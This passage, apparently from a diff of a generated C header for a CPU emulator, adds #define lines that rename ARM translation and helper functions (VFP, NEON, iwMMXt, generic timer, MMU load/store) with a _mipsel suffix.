gen_helper_vfp_touizs_mipsel +#define gen_helper_vfp_tould gen_helper_vfp_tould_mipsel +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_mipsel +#define gen_helper_vfp_touls gen_helper_vfp_touls_mipsel +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_mipsel +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_mipsel +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_mipsel +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_mipsel +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_mipsel +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_mipsel +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_mipsel +#define gen_helper_wfe gen_helper_wfe_mipsel +#define gen_helper_wfi gen_helper_wfi_mipsel +#define gen_hvc gen_hvc_mipsel +#define gen_intermediate_code_internal gen_intermediate_code_internal_mipsel +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_mipsel +#define gen_iwmmxt_address gen_iwmmxt_address_mipsel +#define gen_iwmmxt_shift gen_iwmmxt_shift_mipsel +#define gen_jmp gen_jmp_mipsel +#define gen_load_and_replicate gen_load_and_replicate_mipsel +#define gen_load_exclusive gen_load_exclusive_mipsel +#define gen_logic_CC gen_logic_CC_mipsel +#define gen_logicq_cc gen_logicq_cc_mipsel +#define gen_lookup_tb gen_lookup_tb_mipsel +#define gen_mov_F0_vreg gen_mov_F0_vreg_mipsel +#define gen_mov_F1_vreg gen_mov_F1_vreg_mipsel +#define gen_mov_vreg_F0 gen_mov_vreg_F0_mipsel +#define gen_muls_i64_i32 gen_muls_i64_i32_mipsel +#define gen_mulu_i64_i32 gen_mulu_i64_i32_mipsel +#define gen_mulxy gen_mulxy_mipsel +#define gen_neon_add gen_neon_add_mipsel +#define gen_neon_addl gen_neon_addl_mipsel +#define gen_neon_addl_saturate gen_neon_addl_saturate_mipsel +#define gen_neon_bsl gen_neon_bsl_mipsel +#define gen_neon_dup_high16 gen_neon_dup_high16_mipsel +#define gen_neon_dup_low16 gen_neon_dup_low16_mipsel +#define gen_neon_dup_u8 gen_neon_dup_u8_mipsel +#define gen_neon_mull gen_neon_mull_mipsel +#define gen_neon_narrow gen_neon_narrow_mipsel +#define gen_neon_narrow_op gen_neon_narrow_op_mipsel +#define gen_neon_narrow_sats gen_neon_narrow_sats_mipsel +#define gen_neon_narrow_satu gen_neon_narrow_satu_mipsel +#define gen_neon_negl gen_neon_negl_mipsel +#define gen_neon_rsb gen_neon_rsb_mipsel +#define gen_neon_shift_narrow gen_neon_shift_narrow_mipsel +#define gen_neon_subl gen_neon_subl_mipsel +#define gen_neon_trn_u16 gen_neon_trn_u16_mipsel +#define gen_neon_trn_u8 gen_neon_trn_u8_mipsel +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_mipsel +#define gen_neon_unzip gen_neon_unzip_mipsel +#define gen_neon_widen gen_neon_widen_mipsel +#define gen_neon_zip gen_neon_zip_mipsel +#define gen_new_label gen_new_label_mipsel +#define gen_nop_hint gen_nop_hint_mipsel +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_mipsel +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_mipsel +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_mipsel +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_mipsel +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_mipsel +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_mipsel +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_mipsel +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_mipsel +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_mipsel +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_mipsel +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_mipsel +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_mipsel +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_mipsel +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_mipsel +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_mipsel +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_mipsel +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_mipsel +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_mipsel +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_mipsel +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_mipsel +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_mipsel +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_mipsel +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_mipsel +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_mipsel +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_mipsel +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_mipsel +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_mipsel +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_mipsel +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_mipsel +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_mipsel +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_mipsel +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_mipsel +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_mipsel +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_mipsel +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_mipsel +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_mipsel +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_mipsel +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_mipsel +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_mipsel +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_mipsel +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_mipsel +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_mipsel +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_mipsel +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_mipsel +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_mipsel +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_mipsel +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_mipsel +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_mipsel +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_mipsel +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_mipsel +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_mipsel +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_mipsel +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_mipsel +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_mipsel +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_mipsel +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_mipsel +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_mipsel +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_mipsel +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_mipsel +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_mipsel +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_mipsel +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_mipsel +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_mipsel +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_mipsel +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_mipsel +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_mipsel +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_mipsel +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_mipsel +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_mipsel +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_mipsel +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_mipsel +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_mipsel +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_mipsel +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_mipsel +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_mipsel +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_mipsel +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_mipsel +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_mipsel +#define gen_rev16 gen_rev16_mipsel +#define gen_revsh gen_revsh_mipsel +#define gen_rfe gen_rfe_mipsel +#define gen_sar gen_sar_mipsel +#define gen_sbc_CC gen_sbc_CC_mipsel +#define gen_sbfx gen_sbfx_mipsel +#define gen_set_CF_bit31 gen_set_CF_bit31_mipsel +#define gen_set_condexec gen_set_condexec_mipsel +#define gen_set_cpsr gen_set_cpsr_mipsel +#define gen_set_label gen_set_label_mipsel +#define gen_set_pc_im gen_set_pc_im_mipsel +#define gen_set_psr gen_set_psr_mipsel +#define gen_set_psr_im gen_set_psr_im_mipsel +#define gen_shl gen_shl_mipsel +#define gen_shr gen_shr_mipsel +#define gen_smc gen_smc_mipsel +#define gen_smul_dual gen_smul_dual_mipsel +#define gen_srs gen_srs_mipsel +#define gen_ss_advance gen_ss_advance_mipsel +#define gen_step_complete_exception gen_step_complete_exception_mipsel +#define gen_store_exclusive gen_store_exclusive_mipsel +#define gen_storeq_reg gen_storeq_reg_mipsel +#define gen_sub_carry gen_sub_carry_mipsel +#define gen_sub_CC gen_sub_CC_mipsel +#define gen_subq_msw gen_subq_msw_mipsel +#define gen_swap_half gen_swap_half_mipsel +#define gen_thumb2_data_op gen_thumb2_data_op_mipsel +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_mipsel +#define gen_ubfx gen_ubfx_mipsel +#define gen_vfp_abs gen_vfp_abs_mipsel +#define gen_vfp_add gen_vfp_add_mipsel +#define gen_vfp_cmp gen_vfp_cmp_mipsel +#define gen_vfp_cmpe gen_vfp_cmpe_mipsel +#define gen_vfp_div gen_vfp_div_mipsel +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_mipsel +#define gen_vfp_F1_mul gen_vfp_F1_mul_mipsel +#define gen_vfp_F1_neg gen_vfp_F1_neg_mipsel +#define gen_vfp_ld gen_vfp_ld_mipsel +#define gen_vfp_mrs gen_vfp_mrs_mipsel +#define gen_vfp_msr gen_vfp_msr_mipsel +#define gen_vfp_mul gen_vfp_mul_mipsel +#define gen_vfp_neg gen_vfp_neg_mipsel +#define gen_vfp_shto gen_vfp_shto_mipsel +#define gen_vfp_sito gen_vfp_sito_mipsel +#define gen_vfp_slto gen_vfp_slto_mipsel +#define gen_vfp_sqrt gen_vfp_sqrt_mipsel +#define gen_vfp_st gen_vfp_st_mipsel +#define gen_vfp_sub gen_vfp_sub_mipsel +#define gen_vfp_tosh gen_vfp_tosh_mipsel +#define gen_vfp_tosi gen_vfp_tosi_mipsel +#define gen_vfp_tosiz gen_vfp_tosiz_mipsel +#define gen_vfp_tosl gen_vfp_tosl_mipsel +#define gen_vfp_touh gen_vfp_touh_mipsel +#define gen_vfp_toui gen_vfp_toui_mipsel +#define gen_vfp_touiz gen_vfp_touiz_mipsel +#define gen_vfp_toul gen_vfp_toul_mipsel +#define gen_vfp_uhto gen_vfp_uhto_mipsel +#define gen_vfp_uito gen_vfp_uito_mipsel +#define gen_vfp_ulto gen_vfp_ulto_mipsel +#define get_arm_cp_reginfo get_arm_cp_reginfo_mipsel +#define get_clock get_clock_mipsel +#define get_clock_realtime get_clock_realtime_mipsel +#define get_constraint_priority get_constraint_priority_mipsel +#define get_float_exception_flags get_float_exception_flags_mipsel +#define get_float_rounding_mode get_float_rounding_mode_mipsel +#define get_fpstatus_ptr get_fpstatus_ptr_mipsel +#define get_level1_table_address get_level1_table_address_mipsel +#define get_mem_index get_mem_index_mipsel +#define get_next_param_value get_next_param_value_mipsel +#define get_opt_name get_opt_name_mipsel +#define get_opt_value get_opt_value_mipsel +#define get_page_addr_code get_page_addr_code_mipsel +#define get_param_value get_param_value_mipsel +#define get_phys_addr get_phys_addr_mipsel +#define get_phys_addr_lpae get_phys_addr_lpae_mipsel +#define get_phys_addr_mpu get_phys_addr_mpu_mipsel +#define get_phys_addr_v5 get_phys_addr_v5_mipsel +#define get_phys_addr_v6 get_phys_addr_v6_mipsel +#define get_system_memory get_system_memory_mipsel +#define get_ticks_per_sec get_ticks_per_sec_mipsel +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_mipsel +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__mipsel +#define gt_cntfrq_access gt_cntfrq_access_mipsel +#define gt_cnt_read gt_cnt_read_mipsel +#define gt_cnt_reset gt_cnt_reset_mipsel +#define gt_counter_access gt_counter_access_mipsel +#define gt_ctl_write gt_ctl_write_mipsel +#define gt_cval_write gt_cval_write_mipsel +#define gt_get_countervalue gt_get_countervalue_mipsel +#define gt_pct_access gt_pct_access_mipsel +#define gt_ptimer_access gt_ptimer_access_mipsel +#define gt_recalc_timer gt_recalc_timer_mipsel +#define gt_timer_access gt_timer_access_mipsel +#define gt_tval_read gt_tval_read_mipsel +#define gt_tval_write gt_tval_write_mipsel +#define gt_vct_access gt_vct_access_mipsel +#define gt_vtimer_access gt_vtimer_access_mipsel +#define guest_phys_blocks_free guest_phys_blocks_free_mipsel +#define guest_phys_blocks_init guest_phys_blocks_init_mipsel +#define handle_vcvt handle_vcvt_mipsel +#define handle_vminmaxnm handle_vminmaxnm_mipsel +#define handle_vrint handle_vrint_mipsel +#define handle_vsel handle_vsel_mipsel +#define has_help_option has_help_option_mipsel +#define have_bmi1 have_bmi1_mipsel +#define have_bmi2 have_bmi2_mipsel +#define hcr_write hcr_write_mipsel +#define helper_access_check_cp_reg helper_access_check_cp_reg_mipsel +#define helper_add_saturate helper_add_saturate_mipsel +#define helper_add_setq helper_add_setq_mipsel +#define helper_add_usaturate helper_add_usaturate_mipsel +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_mipsel +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_mipsel +#define helper_be_ldq_mmu helper_be_ldq_mmu_mipsel +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_mipsel +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_mipsel +#define helper_be_ldul_mmu helper_be_ldul_mmu_mipsel +#define helper_be_lduw_mmu helper_be_lduw_mmu_mipsel +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_mipsel +#define helper_be_stl_mmu helper_be_stl_mmu_mipsel +#define helper_be_stq_mmu helper_be_stq_mmu_mipsel +#define helper_be_stw_mmu helper_be_stw_mmu_mipsel +#define helper_clear_pstate_ss helper_clear_pstate_ss_mipsel +#define helper_clz_arm helper_clz_arm_mipsel +#define helper_cpsr_read helper_cpsr_read_mipsel +#define helper_cpsr_write helper_cpsr_write_mipsel +#define helper_crc32_arm helper_crc32_arm_mipsel +#define helper_crc32c helper_crc32c_mipsel +#define helper_crypto_aese helper_crypto_aese_mipsel +#define helper_crypto_aesmc helper_crypto_aesmc_mipsel +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_mipsel +#define helper_crypto_sha1h helper_crypto_sha1h_mipsel +#define helper_crypto_sha1su1 helper_crypto_sha1su1_mipsel +#define helper_crypto_sha256h helper_crypto_sha256h_mipsel +#define helper_crypto_sha256h2 helper_crypto_sha256h2_mipsel +#define helper_crypto_sha256su0 helper_crypto_sha256su0_mipsel +#define helper_crypto_sha256su1 helper_crypto_sha256su1_mipsel +#define helper_dc_zva helper_dc_zva_mipsel +#define helper_double_saturate helper_double_saturate_mipsel +#define helper_exception_internal helper_exception_internal_mipsel +#define helper_exception_return helper_exception_return_mipsel +#define helper_exception_with_syndrome helper_exception_with_syndrome_mipsel +#define helper_get_cp_reg helper_get_cp_reg_mipsel +#define helper_get_cp_reg64 helper_get_cp_reg64_mipsel +#define helper_get_r13_banked helper_get_r13_banked_mipsel +#define helper_get_user_reg helper_get_user_reg_mipsel +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_mipsel +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_mipsel +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_mipsel +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_mipsel +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_mipsel +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_mipsel +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_mipsel +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_mipsel +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_mipsel +#define helper_iwmmxt_addub helper_iwmmxt_addub_mipsel +#define helper_iwmmxt_addul helper_iwmmxt_addul_mipsel +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_mipsel +#define helper_iwmmxt_align helper_iwmmxt_align_mipsel +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_mipsel +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_mipsel +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_mipsel +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_mipsel +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_mipsel +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_mipsel +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_mipsel +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_mipsel +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_mipsel +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_mipsel +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_mipsel +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_mipsel +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_mipsel +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_mipsel +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_mipsel +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_mipsel +#define helper_iwmmxt_insr helper_iwmmxt_insr_mipsel +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_mipsel +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_mipsel +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_mipsel +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_mipsel +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_mipsel +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_mipsel +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_mipsel +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_mipsel +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_mipsel +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_mipsel +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_mipsel +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_mipsel +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_mipsel +#define helper_iwmmxt_minub helper_iwmmxt_minub_mipsel +#define helper_iwmmxt_minul helper_iwmmxt_minul_mipsel +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_mipsel +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_mipsel +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_mipsel +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_mipsel +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_mipsel +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_mipsel +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_mipsel +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_mipsel +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_mipsel +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_mipsel +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_mipsel +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_mipsel +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_mipsel +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_mipsel +#define helper_iwmmxt_packul helper_iwmmxt_packul_mipsel +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_mipsel +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_mipsel +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_mipsel +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_mipsel +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_mipsel +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_mipsel +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_mipsel +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_mipsel +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_mipsel +#define helper_iwmmxt_slll helper_iwmmxt_slll_mipsel +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_mipsel +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_mipsel +#define helper_iwmmxt_sral helper_iwmmxt_sral_mipsel +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_mipsel +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_mipsel +#define helper_iwmmxt_srll helper_iwmmxt_srll_mipsel +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_mipsel +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_mipsel +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_mipsel +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_mipsel +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_mipsel +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_mipsel +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_mipsel +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_mipsel +#define helper_iwmmxt_subub helper_iwmmxt_subub_mipsel +#define helper_iwmmxt_subul helper_iwmmxt_subul_mipsel +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_mipsel +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_mipsel +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_mipsel +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_mipsel +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_mipsel +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_mipsel +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_mipsel +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_mipsel +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_mipsel +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_mipsel +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_mipsel +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_mipsel +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_mipsel +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_mipsel +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_mipsel +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_mipsel +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_mipsel +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_mipsel +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_mipsel +#define helper_ldb_cmmu helper_ldb_cmmu_mipsel +#define helper_ldb_mmu helper_ldb_mmu_mipsel +#define helper_ldl_cmmu helper_ldl_cmmu_mipsel +#define helper_ldl_mmu helper_ldl_mmu_mipsel +#define helper_ldq_cmmu helper_ldq_cmmu_mipsel +#define helper_ldq_mmu helper_ldq_mmu_mipsel +#define helper_ldw_cmmu helper_ldw_cmmu_mipsel +#define helper_ldw_mmu helper_ldw_mmu_mipsel +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_mipsel +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_mipsel +#define helper_le_ldq_mmu helper_le_ldq_mmu_mipsel +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_mipsel +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_mipsel +#define helper_le_ldul_mmu helper_le_ldul_mmu_mipsel +#define helper_le_lduw_mmu helper_le_lduw_mmu_mipsel +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_mipsel +#define helper_le_stl_mmu helper_le_stl_mmu_mipsel +#define helper_le_stq_mmu helper_le_stq_mmu_mipsel +#define helper_le_stw_mmu helper_le_stw_mmu_mipsel +#define helper_msr_i_pstate helper_msr_i_pstate_mipsel +#define helper_neon_abd_f32 helper_neon_abd_f32_mipsel +#define helper_neon_abdl_s16 helper_neon_abdl_s16_mipsel +#define helper_neon_abdl_s32 helper_neon_abdl_s32_mipsel +#define helper_neon_abdl_s64 helper_neon_abdl_s64_mipsel +#define helper_neon_abdl_u16 helper_neon_abdl_u16_mipsel +#define helper_neon_abdl_u32 helper_neon_abdl_u32_mipsel +#define helper_neon_abdl_u64 helper_neon_abdl_u64_mipsel +#define helper_neon_abd_s16 helper_neon_abd_s16_mipsel +#define helper_neon_abd_s32 helper_neon_abd_s32_mipsel +#define helper_neon_abd_s8 helper_neon_abd_s8_mipsel +#define helper_neon_abd_u16 helper_neon_abd_u16_mipsel +#define helper_neon_abd_u32 helper_neon_abd_u32_mipsel +#define helper_neon_abd_u8 helper_neon_abd_u8_mipsel +#define helper_neon_abs_s16 helper_neon_abs_s16_mipsel +#define helper_neon_abs_s8 helper_neon_abs_s8_mipsel +#define helper_neon_acge_f32 helper_neon_acge_f32_mipsel +#define helper_neon_acge_f64 helper_neon_acge_f64_mipsel +#define helper_neon_acgt_f32 helper_neon_acgt_f32_mipsel +#define helper_neon_acgt_f64 helper_neon_acgt_f64_mipsel +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_mipsel +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_mipsel +#define helper_neon_addl_u16 helper_neon_addl_u16_mipsel +#define 